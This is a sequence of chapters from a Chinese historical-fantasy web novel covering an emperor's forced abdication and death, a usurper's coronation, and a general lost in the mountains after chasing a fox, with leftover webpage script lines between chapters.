忙活了半天,临近中午的时候大公子才回到府邸。刚一进门,连口水都还没来的及喝,就见一名贴身的侍卫从外面跑了进来。大公子见状将手中的茶杯放到一旁的桌子上问道:“什么事?” 那侍卫贴身上前在大公子的耳边低语了几句,大公子立刻脸色一变:“当真?” 那侍卫后退一步弯腰抱拳道:“千真万确。” 大公子闻言哈哈大笑一声:“真乃天助我也!”他收住笑声后把手一挥道:“走!” 大公子大步在前,那侍卫紧随其后。刚走到大厅门口大公子忽然又止住了脚步,他寻思了一下后抬手道:“不行,这件事我不能出面。”大公子返回来在大厅里来回的渡了几步后,将那侍卫招到近前吩咐道:“你马上去,多带些人,勿必把人给我扣下来!” 那侍卫一抱拳:“大公子放心!” 看着那侍卫离去的背影大公子面含笑意,随后他吩咐道:“来人!备马!” ……。 囚车里坐着的是一个神情颓废的男子,明明只有三十来岁的年纪却憔悴的如同四五十岁一般。从他的衣着打扮上可以轻意的知道他的身份,没错,他就是大周王朝的皇帝,武经。 抓皇帝这种事,范傅道这辈子还是头一回干,直到现在,他自己的心里也还是紧张的不行,想想都觉得后怕。得手后,范傅道害怕夜长梦多,所以他亲自押解着皇帝还有禁军统领等人,连夜出发往圣京城赶来。范傅道一路上担惊受怕,不敢做丝毫停歇,这天上午终于赶到了圣京城。直到能看见圣京城的城门,范傅道的心才算安稳了下来。这里早已被西梁军层层把守,应该不会再出什么意外了。 一路上平安无事,却不曾想临进城时,被大公子的人给截在了青龙门外。 ?“站住!干什么的?” 范傅道一看是几个西梁军的校尉带着人拦住了自己的去路,连忙从马背上滚下来。他腆着一张笑脸上前问好道:“哎呦!几位军爷好,啊呵呵……几位军爷好。”范傅道解释道:“下官是顺城太守范傅道。嗯……下官早已通过杨笑杨将军归顺了西梁王大人,这次是专程押送几名人犯送给杨笑杨将军的。”范傅道说着从怀里掏出了一封信函:“这里有杨将军的亲笔书信。” 一名校尉伸手接过并打开了书信。 “这里还有杨将军的印章。”范傅道指给那校尉看。 俗话说的好,伸手不打笑脸人。范傅道从头到尾都腆着一张笑脸,十足的奴才像,那校尉倒也没有太为难他。 从头到尾看过了那封信后,那校尉开口道:“行了,人送到这儿交给我们就行了,你可以走了。” 范傅道有些为难道:“呃……这……。”范傅道结结巴巴的一连说了好几个这。“这是要交给杨将军的。”范傅道说完后似乎也松了一口气。 “我们是大公子的人!”那校尉傲然道:“人我们会帮你转交的,你可以走了。” 范傅道一听是大公子的人,在心里可是乐开了花,他巴不得能抱上西梁王长公子的大腿呢!怎么说人家也是亲儿子,你杨笑一个女婿,就算是再得宠那必经也只是个女婿不是嘛? 只见那范傅道点头哈腰道:“哎呀!下官有眼不识泰山。既然是大公子的人,那咱们就是一家人了,人犯能交给几位,下官也就放心了。” 那校尉满意道:“嗯!你这个人还是挺懂事的嘛!” “那就麻烦几位军爷在大公子面前为下官多多美言几句了。”范傅道一边说着一边塞过去几张银票。 “啊!好说好说。” ……。 范傅道目送那几个校尉带着皇帝武经等人离开后,又转身往杨笑的住所而去。他要想个办法让自己两边都不得罪,两边的大腿都能抱。 皇宫里的一处偏殿。现在是临时用来处理军务的场所,杨笑和封常青正在处理着军机事务。两个人在地图上比比画画,还不时的低声商量着什么,这时大公子的声音传了进来:“哎呀……妹夫,妹夫呀!为兄给你赔罪来了。” 杨笑和封常青抬头往外看时,见大公子一步跨过了门槛。大公子一进门就抱拳冲着杨笑一个劲儿的赔不是:“妹夫啊,为兄对不住你呀!” 杨笑面带笑容,他迎上去几步不解道:“兄长这是何意呀?” 大公子歉意道:“这不是手底下的人不懂事嘛……刚刚在东门外截了顺城太守范傅道押送来的几个俘虏,……这……都知道范傅道是你收服的,这不就成了……成了为兄抢了你的功劳嘛?……这怎么能行呢?所以为兄专程来给你赔个不是。” 这大公子从头到尾只说道歉,却闭口不提被他截去的人到底是谁,杨笑虽然心里明白,但碍于情面也不好说破。必经都是一家人,杨笑对这所谓的功劳又没有多在意,自己的大舅哥既然想要就让他拿去吧。 杨笑在心里这样想着,他很是客气的说道:“区区小事而已,兄长真是太客气了。既然人在兄长那里,那就劳烦兄长代为转交父王吧。” 大公子故作惊讶:“哎呀!这么重要的事,为兄怎么能……。” 不等大公子说完杨笑就止住道:“无妨,无妨。” 大公子面带感激之情握着杨笑的手说道:“为兄一定在父王面前把事情的前前后后都说清楚,绝不能埋没了妹夫你的功劳。” 两个人又客气几句后,杨笑目送大公子离去。 等大公子走后,杨笑转身正好看到封常青正在看着自己。两人目光相遇,都从彼此的眼神中看到了什么,但两个人谁也没有说什么。杨笑转身走到一旁,继续处理手头上的军务,而封常青则把意味深长的目光投向了殿门外。 这时候一名侍卫禀报道:“二位将军,该用餐了。” ……。 西梁军拿下圣京城活捉当今皇帝的事情很快就传遍了天下。皇帝被拉下马,大周王朝一时间群龙无首,四大藩王自然就成了最大的四股势力,各地的大小藩王诸侯,封疆大吏们纷纷把目光投向了他们。 首先发声的是东安,北静两大藩王。他们两家全都不约而同的站在德义的高地上指责西梁王,把西梁王说成是无耻叛逆之徒,把自己说的光明正大,扬言要为天下匡扶道义。消息一出,那些州府郡县纷纷表明立场,有投靠西梁王的,有倒向其它三大藩王的,也有态度暧昧两边都不想得罪的。 大周王朝四分五裂,形成了四王夺嫡,群雄环伺的局面。 外有强敌环伺,内有诸王纷争,到底大周王朝会走向一个什么样的境地呢? 欲知后事如何,且听下回分解! window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百二十一回 西梁王称帝 西梁王称帝 ???????天下纷争,群雄并起。 ???????皇帝武经被擒获之后,很快就由大公子亲自押送到了西梁。 大殿之中西梁王高坐于上,武经则瘫坐在地上,两个人一上一下,完全调换了以往的位置。西梁王看着武经,武经则茫然的看着身下的地板,两个人谁也没有说话,整个大殿里都静悄悄的。 ???????时隔半年,当西梁王再次见到这个昔日里自己苦心扶持的侄儿时,他的心里着实是有着一番五味杂陈。 经历了人生的大起大落,又经过这一路上的颠簸,精神和肉体上的双重打击让武经看起来颓废憔悴不己。 ???????西梁王首先开口打破了这份沉默:“陛下近来可好?”他沉声问道。 ???????武经缓缓的抬头看向西梁王,他凄然一笑:“九叔真是说笑了。” ????????“陛下心中有怨气?”西梁王问 ???????“哪里还会有什么怨气,怪只怪朕听信谗言,受了妖人的蛊惑。”武经说着就要哭出来了:“九叔,我知道错了,我不该对九叔起异心,九叔你不要杀我,我以后全都听九叔的……。”他越说眼泪就越是止不住,到最后竟是哭出了声来。 ???????武经在下面不住的哭诉求饶,西梁王在上面脸色也不好看。辅相方田弼抬眼看了下两个人,他眼球转了转,先是挥手示意侍卫们将武经先带下去,然后躬身向西梁王道:“王爷,此等后患万不可留。” ???????西梁王低着头什么也没说,只是重重的叹了口气。 ???????方田弼接着说:“王爷若是不忍心的话,老臣愿意为王爷担此骂名。” ???????方田弼躬身站在大殿中央,他抬眼看了下西梁王,见西梁王依旧低头不语,便一声不吭的退出了大殿。 ???????武经被软禁在一座特别为他准备的院子里,他环视这间空荡荡的屋子一周,心里明白这也许就是自己最后的居所了,也不知道自己还能在这里住多久。但令他没想到的是,他前脚刚被关进来,屁股都还没捂热,后脚方田弼就跟了过来。 ???????“九叔就这么等不及吗?”武经有些凄然的问道。 ???????方田弼站在那里,双手叠放在身前,他看着坐在地上的落魄皇帝面无表情的说道:“是天下的百姓等不及。”那种居高临下的气势给了武经很大的压力。 ???????武经心中苦涩道:“真是落架的凤凰不如鸡呀,现在连臣子的臣子都敢以这般模样对自己说话了。” ???????方田弼见皇帝低着头不说话就又说道:“陛下还是早些禅位的好。” ???????到了现在这步田地,哪里还能由得他这个皇帝说一个不字。武经深呼吸一口气,努力的让自己平静下来:“好,好,我禅位。” ???????方田弼掏出了笔墨纸砚摆在皇帝的面前:“笔墨已经为陛下准备好了。” ???????武经闻言抬头看了一眼方田弼,他眼中闪过一丝怒气,但最后还是有气无力的说道:“好,我写。” ???????武经缓缓的把手伸向面前的笔,他感觉这个过程是那么的坚难痛苦,手中的笔从来都没有这么的沉重过。落笔前他用希冀的目光向方田弼问道:“九叔他不会杀我吧?”方田弼站在那里什么也没有说。 ???????有时候没有答案其实就是最清楚的答案。 ???????对于自己可能的下场,武经的心里其实清楚的很,但他还是抱着最后的一丝期望。现在,这份最后的期望也破灭了,可让武经自己都感到意外的是,在得到这个明确的答案后,自己想象中的那份悲痛并没有发生,他的心反而一下子平静了下来。 ???????武经挥笔写下了禅位诏书,自责无德无能,辜负了先皇的嘱托,辜负了西梁王的一片忠心,辜负了百官的信任,更辜负了天下的百姓。那诏书写的深情无比,感人肺腑,可谁知方田弼拿起那份诏书看也没看一眼就说道:“王爷自觉才疏德浅,还请陛下依旧执掌天下,王爷同西梁百姓愿为陛下鞠躬尽瘁。” ???????武经听了方田弼的话后以为自己出现了幻觉,“难道是自己听错了?”他的心里生出一股无限的惊喜来:“难道这一切都是九叔在考验自己?九叔他并不是真的要杀我?”武经的脸上露出一丝欣喜之色来,可当他看到方田弼那冷冰冰的眼神时,他的心一下子又凉了下来:“哪有什么考验,哪有什么惊喜,这一切都是自己的一厢情愿,这是嫌诏书写的不够好。” ???????武经神情颓然的瘫了下去。 方田弼用近乎命令的冰冷语气又说道:“还请陛下禅位。” ???????武经的眼神空洞茫然,他再次写下了一份更加声情并茂的禅位诏书,可方田弼再次看也不看的说道:“王爷自谓德不配位,请陛下另谋高人。” ???????虽说自己已沦为了阶下囚,可常言道:士可杀,不可辱。武经听了方田弼的话后,他抬起头愤然道:“朕都这般田地了,方辅相难道还想要侮辱于朕不成?” ???????方田弼还是那副冷冰冰的的面孔:“微臣不敢,陛下多虑了。” ????????“那这几次三番却是为何?”他强忍着心中的怒气不敢表现的太过明显,那份委屈也只有自己的心里明白。 ????????方田弼回道:“自古就有先贤三禅其位,王爷又怎敢自比先贤,逾越圣德。还请陛下效仿先贤古德……。”方田弼顿了顿,最后说道:“禅位。” ???????武经伏在案上抽泣道:“怪只怪朕做下了错事,以至落的如此下场。”哭罢,提笔又写下一份禅位诏书,方田弼这才拿起那份诏书看了看后说道:“此陛下之福,我大周社稷之福!” ???????三日后,西梁王登基称帝。 ???????西梁王称帝后要怎样才能平定已经四分五裂的武周王朝?这其中又会有一场什么样的风波?欲知后事如何,且听下回分解! ??????? ??????? ??????? ??????? ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百二十二回 平乱东安王 却说方田弼逼着皇帝武经一连写下了三道禅位诏书。在那间空荡荡的屋子里武经思绪万千,幼年时因为胆小懦弱不知道受了多少欺负,长大后在兄弟间的权势斗争中也只能躲在一旁忍气吞声,好不容易时来运转捡了个皇帝的位子,哪知又一步走错落了个万劫不复。思来想去,一时间悲从中生,等他从思绪中回过神来时,已是鸡叫头遍东方露白了。忽然间,武经不知道从哪里来的勇气,他忽地站起身来,把身上的长袍撕开后打了两个结,然后抛到了房梁上……。 ???????等仆人发现的时候,武经已经是浑身冰凉,四肢僵硬了。 一代帝王就此殒命! ???????西梁王占据圣京城登基称帝,已然引得众藩王诸侯们心生不满,从而纷纷割据自立,现在皇帝武经的死讯更是一石激起千层浪,东安王首先起兵讨伐,其余藩王诸侯也纷纷响应。 ???????东安王之所以在这件事上这么积极,是因为当年他与老皇帝争夺皇位,结果一步之差与皇位失之交臂。虽然这么多年过去了,但他始终都没有放下对皇位的觊觎之心。其实,早在西梁王起兵之初他就已经在谋划着这一天了,只等着他们两家打成两败俱伤后,自己好跳出来做那只捡便宜的黄鹂。只不过出乎他意料的是,西梁王的动作竟然这么快,只用了半年的时间就夺取了圣京城。 ???????失算之余东安王更大的感受是气愤:“你哥哥下来了你侄子上,你侄子下来你又上去,难道这个位子就是你兄弟两家的不成?常言道风水轮流转,怎么着也该轮到本王坐一坐这个位子了!” ???????……东安王其实是个有勇无谋又没什么城府的人,一经起兵便把全部的兵力都集结起来要与西梁王来一个大决战。西梁王这边后方空虚已久,为防狄绒族和雪藩族突起发难,就把封常青调回了西梁,大公子挥师北上,防着北静王从背后偷袭,杨笑则率兵往东南,一路直指东安王。 ???????大梁山深处,杨笑率领的大军沿着山谷中的一条道路翻山越岭向南行进。尽管只是分天岭的余脉,但这里依旧是山高林密,地形险恶,高耸入云的山峰比比皆是,悬崖峭壁也是随处可见。 山谷中的这条道路连通着南北两地已经不知道有多少年了,沿途的石阶,凉亭,石碑,崖刻等事物比比皆是。驿站和关隘也有几处,不过早在数日前已被做为先头军的王燕兴和呼延灼等人将路途上的一切障碍全都扫除干净了,所以杨笑一路走来都平安顺利的很。 ???????日头将午时,杨笑下马在一棵大树下查看着刚刚送来的军情谍报,顺便也乘下凉,歇歇脚。小黑也跟着趴在他的身边休息。 ???????从王燕兴和呼延灼传来的消息里看,前方的战事进展的很顺利,他们暂时还没有遇到什么强烈的抵抗,不过从形势上看东安王似乎有意要在萧山一带与杨笑率领的的大军展开决战。 ???????正翻看军报时,有探马回报:“禀将军,前面就是榆谷关,按照现在的速度天黑前就能到达。” ???????“嗯。”杨笑只顾着翻看手里的军报,只是随意的答应了一声连头也没抬一下。 烈日当空,晴空万里,潮湿闷热的天气让人倍感煎熬。此时刚过立秋,暑气未消。炎热的盛夏似乎是不甘心就这么离开,要把所剩的力气一股脑的全部使出来。一股股热浪扑面而来,酷热难耐更胜从前,“秋老虎”的名号可不是白叫的。 ???????一旁的李伯通和马致远交换一下眼神后向杨笑提意道:“将军,天气炎热,将士们连日赶路已是十分疲惫,是不是先埋锅造饭,让将士们也休息一下,等天凉快些了再加紧赶路?” ???????“嗯?”听到李伯通的话后,杨笑才从对军报的沉思中反应了过来:“哦,是我疏忽了。吩咐下去,就地埋锅造饭,等天凉快些了再行赶路。”那骑卒领命而去。 ???????杨笑把手里的军报递给李伯通和马致远二人:“二位将军也来看看。”李伯通伸手接过军报和马致远一起看了起来。 ???????“怎么样?二位将军有什么看法?”待二人看过军报后杨笑问道。 ???????李伯通首先开口道:“东安王上来就想要一战定输赢,显然是低估了咱们实力也高估他自己的实力。在萧山一带决战的话对咱们来说有利也有弊。” ???????“哦?都有哪些利弊呢?”杨笑问道。 ??????“首先,这一带的地势也还算开阔,对于大军的展开和奔袭还是比较合适的,而咱们西梁军最擅长的就是这样的作战方式。这里,这里,还有这里,这几个地方有几座处于关键位置的城池,是控制整个萧山地域的抓手,咱们一定要尽快夺取,只要把这几个地方拿下来,掌控整个萧山地界便不是什么难事。不过这一带有几条比较大的河流可能会对咱们有所妨碍,在大军调动之时需要多加注意,像这里,这里以及这里……。”李伯通在地图上对杨笑一一分析着。 ???????马致远接过话口说道:“东安王麾下的各路兵马向来以海战着称,陆上攻伐是他们的弱点,或许是基于这一点才会急于要跟咱们展开决战。相较之下,咱们虽然更擅长陆上行军作战,但东安王却可以更好的利用这些关键的河流以及傍水的城池来调动兵马,从而对咱们形成速度上的优势,所以行军调动的时机速度和防止被敌军偷袭就成了眼下的关键。” ???????杨笑若有所思的点点头:“嗯!也就是说谁能控制住这些城池河流谁就能控制住战场的主动权,是这样吧?” ????????李伯通肯定道:“没错,这些地方就是关键中的关键。” ???????马致远也肯定道:“没错,只要咱们能拿下这些地方东安王在萧山的势力便不足为虑。” ???????“城池还好说,围困也好强攻也罢,城池总归是死物,它跑不到哪里去,可这些河流要怎么办?”杨笑担心道。 ???????李伯通却对此并不担心,他呵呵一笑道:“这你就要去问问呼延将军了,他驻守的黑泽寨最不缺的就是水,大大小小的河流纵横交错,他一定有阻拦水上行军的好办法。” ???????马致远又补充道:“何况那些傍水而建的城池也不好围困,他们还能通过河道与外界沟通,要拿下它们首先就是要截断它们的通路。” window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百二十三回 奇怪的狐狸 就在杨笑三个人认真的讨论着战场上的形势和对策时,一名侍卫小心的上前禀告道:“三位将军,方才做饭时有一只模样奇怪的野兽误闯了进来,打翻了做饭的锅灶,所以开饭的时间可能要稍晚一会儿。” ???????马致远问道:“是什么样的野兽?怎么会把军灶给打翻了?” ???????那侍卫想了想回答道:“呃……似乎像是一只狐狸……不过已经被抓住了。” ???????“狐狸?多大一只狐狸能把军灶给掀翻了,抓过来看看。” ???????“是。”那侍卫答应一声转身离开。 ???????不一会儿,一只长的颇像狐狸的小兽就被倒提着尾巴抓了过来。那狐狸的个头比一般的狐狸要大上一圈,一身褐色的皮毛油光锃亮,一道银白色的条纹从头顶一直延伸到尾尖。耳朵,四只兽爪还有尾巴尖都是白色的,尤其是那对雪白的耳朵更是大的出奇。 ???????马致远接过侍卫手里的狐狸提在面前仔细的看了看:“这是个什么东西?从来没见过呀!” ???????杨笑和李伯通也凑近了观看。就在这时,那只原本已经奄奄一息的狐狸忽然睁开了眼睛,把身子一扭就要去咬马致远的手臂。马致远一惊赶忙松开了那狐狸的尾巴,谁知竟被它抓住了衣袖,顺着手臂就窜到了他的身上。马致远赶紧用手去打那畜牲,想要把它从自己的身上赶下去,那只狐狸于是在他的胸口上四肢用力一蹬,一下子就窜了出去。马致远一掌落空拍在了自己的胸口上,结果用力过猛,狐狸没拍着反倒自己把自己给拍的一连咳嗽了好几声。 ???????那狐狸躲开马致远的这一掌后一下子就跳到了杨笑的身上,杨笑立刻伸手去抓它,谁知那只狐狸竟把身子一拧躲开了杨笑抓过来的手掌。面对这只不知道从哪儿来的小畜牲杨笑自信还是有几分把握的,谁知被它轻易的就躲过了过去,杨笑不由的在心里惊叹一声:“好灵活的小畜生!” ???????杨笑这一抓没抓住,被那只狐狸攀到手臂上抱住手臂就是一口。这一口咬下去,正好咬在拿军报的那只手的手腕上。杨笑吃疼,嘴上叫了声“哎哟!”手上拿着的军报也掉在了地上。 ???????堂堂虎威将军竟被一只小畜生给咬了一口,杨笑的心里不免有些恼火。他抬手就往趴在手臂上的狐狸拍去,谁知那狐狸一咬得口后立刻就松嘴,从他的手臂上跳了下去,让杨笑的一击再次落了空。 ???????狐狸跳到地上后叨住了掉在杨笑脚下的军报然后转身就跑,三跳两跳间跳到了那颗大树后面的一块大石上。 ???????这一切说来话长,其实也就一眨眼的功夫。那只狐狸跳上大石头后并没有立刻逃走,而是两只前爪离地站在石头上冲着三个人扭来扭去,一双小眼睛还在不住的眨呀眨的,那模样真是拟人的很,就好像是在那里嘲笑他们:“你们三个大笨蛋,来呀,来呀,来抓我呀!” 三个大汉竟然被一只小畜生给戏耍了一通,这怎能不让人气愤?更何况那份十分紧要的军情谍报还在它的嘴里,三个人拔腿就追! ???????三个人当中就数杨笑跑得最快,眼瞅着就要冲到那只狐狸的跟前一把将他抓住的时候,却又让它给逃了。 那只狐狸似乎是有意调戏三人,逃了没多远就又站在那里等着杨笑他们来抓,又每次都在快要被杨笑抓住的时候一下子就又逃的老远,再然后就是又站在那里扭动着肢体再次引诱杨笑他们来抓自己。如此几番下来杨笑已经把李伯通和马致远他们甩的远远的了。 ?????????一人一兽,一前一后的追逐着,不知不觉就追到了一个两座山头间的坳口处,那只狐狸一个跳跃,消失在一块巨石的后面。杨笑站住脚步回头望了望,距离自己刚才歇脚的大树已有百十来丈的距离,再回头看看那狐狸消失的地方,“就这么让它逃了?”想一想怎么着心里都有点不服劲儿,一咬牙,杨笑又追了上去。 ???????过了那个山坳是一块平地,约么着有两三亩的样子。平地上绿草茵茵,星星点点的野花摇曵期间,一阵山间的青风抚过,在草地上吹出了一层层的波浪,被惊扰到的蝴蝶在风中上下飞舞。 ???????杨笑左右寻找了一下,见那只狐狸正在草地那头的一块大石头上摆弄着一枝小野花,而那张军报就掉在它的脚边。 杨笑一步步的靠近那只狐狸,而那狐狸对杨笑的到来却是丝毫不在意,就好像没有看到他似的。杨笑越是靠近那只狐狸步伐就越是大,越靠近步迈就越是快,到最后干脆跑了起来,就在这时一个黑影一下子从杨笑的身边窜出来超过了他。是从后面赶上来的小黑。就在小黑即将超越杨笑之际,杨笑一个翻身跳到了小黑的背上,这下子他的速度更快了。小黑驮着杨笑眨眼间就来到了草地的尽头,它低吼一声纵身一跃扑向了那只狐狸。 ???????身形矮小的狐狸在小黑的面前简直不要太渺小,仿佛下一刻它就要葬身在虎口之中。就在小黑的爪子即将触碰到那只狐狸的一刻,那只狐狸忽然抬起头冲杨笑一咧嘴,露出一个十分拟人的笑容来。面对这突如其来的,让人匪夷所思的,带着几分诡异的笑,杨笑的心底生出了一种不祥的预感。但,虎爪已经落下,这一刻容不得杨笑多想。 ???????“噗”的一声,就在小黑的虎爪触碰到那只狐狸的瞬间,一团灰色的烟雾腾空而起。这一切来的都太快了,杨笑只觉得眼前一花,不等他有所反应就被那团灰色的烟雾给淹没了。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百二十四回 失踪的杨笑 等杨笑再睁开眼睛的时候,天依然是那片天,云也依然是那片云,草地却已不是原来的那片草地了。他扭头看了看,见小黑就趴在不远处逗弄着草丛里的蚂蚱,杨笑这才放下一点心来。 杨笑从地上爬起来,他晃了晃有些头晕的脑袋,拍掉粘在身上的草沫,然后往四周看了看。自己正身处在一个小山谷中,这里绿树成荫,芳草依依,几只不知名的小鸟藏在树梢里叽叽喳喳的叫个不停。十多步外,长着一片及膝高的花丛,花丛里的花儿开的五颜六色,一只只蜜蜂蝴蝶从这朵花儿上面飞到那朵花儿上面,忙碌个不停。花丛的那一边,一条小河正发出哗啦啦的流水声一路蜿蜒着流向远方。 在确定了自身的处境没什么危险后杨笑的心里便没那么紧张了,当务之急是先搞清楚这里是什么地方,至于追赶大军嘛……反正有小黑在身边,要追上李伯通他们想来也不是多难的事。 穿过花丛来到小河边,河面有一丈多宽,河水缓慢而平静的流淌着,有小旋窝在水面上生成,小旋窝随着水流打着转儿的向前移动了一段距离后便消失了,接着又是下一个小旋窝。一小截枯草叶被小旋窝吸了进去,几个旋转之后,小旋窝消失不见了,而那截被转的晕头转向的枯草叶则继续随着河水向前漂去。向几步之外,几块大石头像堤坝一样拦在河道中间,河水从石头之间的空隙处跌落,形成了一道道一尺来高的小瀑布,那哗啦啦的流水声就是从那里传来的。 杨笑看了看自己倒映在水里的影子,然后蹲下身子捧起一把水洗了洗脸。一条小鱼浮上水面吐了个气泡,结果被杨笑洗脸的声音惊吓到了,它在水面上激起一朵小水花,然后“刷”的一下就消失在水里不见了。 洗完脸后杨笑把面前的河水往旁边划拉了几下,又捧起河水喝了两口,然后起身走到那道“小河堤”旁,摘下腰间的水囊就着那道小瀑布把水囊灌满。 做完这些后杨笑站起来抬头往远处四下的张望,想搞清楚自己现在的位置。这时一个声音在杨笑的背后响起:“这位将军从何处来呀?” 突然响起的声音把杨笑吓了一跳。他立刻转向声音传来的方向,与此同时一只手已经撘在了腰间的刀柄上。 转身看时,见是一个老者正站在不远处。老者身材不大,穿一身赭色长衫,灰发灰须,看上去约有六十来岁的样子。 那老者瞟了一眼杨笑抓在刀柄上的手,又问了一声:“不知这位将军从何处而来?” 老者的面容和蔼可亲,声音清朗,说话时的语气十分的客气。 杨笑看清来人后这才放下心来,抓着刀柄的手也松了下来。他向老者抱拳一礼后说道:“在下西梁王麾下杨笑,不幸迷途至此。” “西梁?西梁至此路途遥远,将军何故到了这里呀?”老者又问道。 “天下大乱,随军南下平叛。” “哦。”那老者哦了一声后便不再言语。 这下轮到杨笑的心里没底了:“这位老人家,这里是什么地方?离南下的大道又有多远呢?” 那老者捋着下巴上的胡须低头思量了一下说道:“往南的路啊……咝……那可就有点远了。” 杨笑一听这话心里不免有些着急了:“不知道有多远呢?老人家若能告知一二,带在下走出这深山的话,在下必当重谢于老人家。” “嗨!岁数大了,路又远,七拐八拐的具体怎么走我也记不清了。” ???????“……。” 老者的一句“记不清了”让杨笑即无语又无奈。在这深山老林里要是没人给自己指明道路的话,就算小黑的速度再快恐怕也不太好使,搞不好还会在大山里迷了路,那样的话……在里面转它个十天半个月的那也不是不可能。 好在那老者接着又说道:“不过将军不必过于急切,我那外甥大后天就会过来看望小老儿一家,将军可先在寒舍住下,到时候好让小老儿的外甥带将军出山。” 一听说还要等三天杨笑多少有点等不及:“不知道您家中可还有什么人能为在下领路?” “……家里除了老伴外就只有老朽的小女儿了,只是她从小长在身边没有出过远门啊。” 杨笑一听这话,得!还是老老实实的等三天吧。想了想,好在三天也不长,到时候再紧赶两步路说不定还能追上李伯通他们。 再说李伯通和马致远他们。两个人跟在杨笑的身后一路追过了那个小山坳,可哪里还有杨笑的身影?带人四下里寻找了半天,除了那张谍报外一丁点杨笑的踪迹也没发现。 这下倒好,领兵打仗,倒把带头的将军给丢了!怎么丢的呢?撵狐狸给撵丢了!像这样的事情恐怕还是开天辟地头一遭吧?传出去的话真是能把人笑死。这下可怎么跟西梁王还有五公主交待?最重要的是领兵主帅无故失踪,这件事要是在军中传开的话势必会引的军心大乱,那样的话事情可就大发了。 李伯通和马致远两个人急的团团转,抬头看看在身边围成一圈眼巴巴望着他俩的将士们,从他们的眼神中也能看出这件事情的重要性和危险性。怎么办?瞒肯定是瞒不住的。 正急切间李伯通忽然灵机一动,计上心来。只见他大手一挥喝斥道:“看什么看?瞧你们那副怂样!杨将军是什么人?啊?那是天神下凡!天神的心思岂我等凡夫俗子所能知晓?……。” “可杨将军到底是去哪儿了呀?怎么一点踪迹都没有?”人群里一个年轻的小士卒问道。 他这一问可把他身边的几个人给吓的不轻。这个时候,这种件事情,说小也小,说大了可比天大。说小了,说你是年纪轻轻不懂事,好奇心强,说大了这就是扰乱军心,有几个脑袋也不够砍的。 身边一个要好的同伴拉了拉他的衣衫示意他赶紧闭嘴,旁边的其他几个人可就不这样了,立刻跟那个年轻的小士卒划清了界线,心说:“好小子!你活腻歪了不成,要死的话你自己去死,可别连累了我们哥几个。” 好在李伯通并没有就此发难,他两步并做一步走到那名年轻士卒的面前大声的说道:“不知道就对了。天神!那可是天神!要是让你这么轻意就知道了踪迹那还能叫天神?说不定杨将军这会儿正在咱们看不见的地方用天神的手段帮咱们解决那些棘手的问题呢!” 周围的人心里面替那年轻的小士卒担心,可在李伯通的心里却乐开了花:“你小子问的好哇!你小子问的正是时候!要不然老子还不知道怎么往下编呢。” 结果周围的人听他这么一说,一个个的都在心里面想:“是啊!是这么回事呀!”就连马致远也暗暗的直冲李伯通竖大拇指。两个人偷偷的交换一下眼色后马致远举起手里的那份谍报说道:“这就是杨将军给我们的指示,只要按照这上面说的情况去做就一定能够大获全胜。”最后,在众人的一片高呼声中一场危机就这么渡过了。 ?????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百二十五回 你外甥来看你了 ?咱们回过头来再说杨笑,且说那杨笑跟着赭袍老者一路前行来到了一处小院前。院子十分的简陋,齐胸高的篱笆墙,一扇树枝扎成的篱笆门,篱笆上爬满了牵牛花,院子当中三间茅草屋,屋顶上的烟囱里正有袅袅的炊烟升起,屋子前一垄菜地里,几样应季的蔬菜长的……也还算勉勉强强。 ???????老人将杨笑让进院子后就冲着屋里喊道:“老婆子,老婆子!闺女呀,闺女!” ???????“诶!” ……“诶!来了。” 一老一少两声应答从屋子里面一前一后的传出。 ???????“是恩人来了吗?”一个老妇人从屋子里面走了出来。那老妇人看上去要比老者年轻一些,头上也没有多少白头发,脸上的皱纹也少得多。老妇人笑吟吟的站在屋门口把杨笑上上下下的端详了一番,开口道:“这位就是……。” ???????“没错,这位就是恩人。”老者肯定道。 ???????老妇人闻言快步走下台阶来到杨笑跟前又把杨笑前前后后的打量了一圈,那灼热的目光把杨笑看的都有些不自在了。老妇人把杨笑前后看了一圈后轻声道:“……恩人真是一表人才呐!老婆子这里有礼了。”说着就冲杨笑做了个万福。 ???????杨笑连忙伸手止住:“老人家不必多礼。” ???????那老者说道:“还是先让恩人到屋里坐下再说吧?” ???????老妇人也连声道:“对对对……你看我,真是失礼了,失礼了。恩人快请到屋里坐。” ???????二人把杨笑让到屋里落坐,一个靓丽少女将一壶茶捧到杨笑的面前,怯生生的说道:“恩人请用茶。” ???????杨笑早被两个人一口一个“恩人”给叫的有些搞不明白了,现在连这个少女也称自己是恩人,这到底是怎么一回事?自己这是什么时候成了他们一家的恩人了呢?杨笑忍不住问道:“老人家,您真是太客气了,咱们萍水相逢……这恩人二字杨某实不敢当啊。” 